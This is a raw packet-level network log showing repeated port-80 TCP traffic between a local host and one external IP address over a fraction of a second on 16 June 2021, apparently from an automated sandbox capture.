Jun 16, 2021 12:04:53.975048065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975055933 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975068092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975085020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975091934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975111008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975130081 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975157022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975416899 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975672007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975702047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975725889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975744009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975747108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975770950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975790977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975794077 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975812912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975832939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975847960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.975852966 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.975878954 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.976098061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.976347923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.976605892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976633072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976654053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976670027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976685047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976703882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976705074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.976721048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976733923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.976746082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976759911 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.976767063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.976775885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.976824999 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.977271080 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.977510929 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.977550983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977581978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977600098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977615118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977629900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977646112 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.977648020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977659941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977674007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977677107 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.977705956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.977777958 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.977926970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.978215933 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.978529930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978554964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978579044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978600979 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978610992 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.978624105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978645086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978667021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978671074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.978682995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978702068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.978734970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.978924036 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.979391098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.979536057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979595900 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979619980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979640007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979660988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979679108 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.979682922 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979708910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979718924 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.979732990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979754925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.979763985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.979803085 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.980082035 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.980345011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.980415106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980433941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980446100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980458975 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980470896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980484009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980494976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980500937 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.980508089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980525017 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.980586052 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.980628014 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.981020927 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.981355906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981369019 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.981372118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981385946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981399059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981410980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981422901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981440067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981445074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.981451988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981466055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.981508017 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.981901884 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.982232094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.982343912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982362032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982415915 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.982450008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982467890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982484102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982496023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982507944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982521057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982532978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.982553959 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.982594967 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.983002901 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.983350039 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.983376026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983393908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983406067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983452082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.983620882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983638048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983649969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983661890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983674049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983686924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983700037 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983712912 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983733892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.983742952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.983797073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.983860016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.984025955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.984281063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.984577894 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984596014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984607935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984623909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984662056 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984673977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.984674931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984689951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984703064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984714985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.984730005 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.984782934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.985287905 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.985521078 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.985553980 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985574961 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985611916 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985629082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985632896 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.985646009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985661983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985677958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985687971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.985690117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985707998 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.985726118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.985763073 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.986150026 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.986474037 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.986521006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986541033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986557007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986577034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986593008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986604929 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.986609936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986625910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986637115 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.986649036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986661911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.986696005 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.986866951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.987281084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.987462997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987479925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987492085 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987510920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987523079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987543106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987548113 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.987560987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987576962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987581015 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.987593889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.987621069 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.987900972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.988238096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.988409996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.988426924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.988440037 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:53.988486052 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:53.988939047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.017555952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017595053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017621040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017642021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017664909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017688036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017709017 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017730951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017755032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.017771006 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.017823935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.017877102 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.018026114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018053055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018073082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018095016 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018106937 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.018117905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018135071 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.018141031 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018163919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018188953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018210888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.018210888 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.018235922 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.018836021 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.018996954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019027948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019049883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019073963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019098043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019098043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.019136906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019160986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019160032 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.019182920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019202948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019205093 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.019262075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.019412041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.019738913 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.019896984 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019926071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019948959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019972086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019994974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.019994020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020025015 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020028114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020032883 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020052910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020081997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020103931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020108938 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020143986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020240068 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020575047 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020889997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020920992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020945072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020967007 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020972967 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.020991087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.020996094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021017075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021039009 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021039009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021064997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021086931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021097898 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021133900 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021315098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021559000 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021842003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021873951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021897078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021945000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021959066 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021969080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.021979094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.021991968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022022009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022049904 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022062063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.022074938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022094965 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.022280931 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.022532940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.022803068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022841930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022866011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022887945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022907019 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.022911072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022934914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022938013 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.022958040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.022977114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.022979021 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023001909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023039103 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023086071 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023288012 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023726940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023767948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023801088 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023823977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023844957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023859978 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023866892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023890018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023890972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023917913 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023922920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023947954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.023968935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.023973942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024007082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.024167061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.024473906 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.024769068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024796963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024821997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024843931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024852991 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.024867058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024876118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.024889946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024893999 CEST	49167	80	192.168.2.22	104.21.14.60
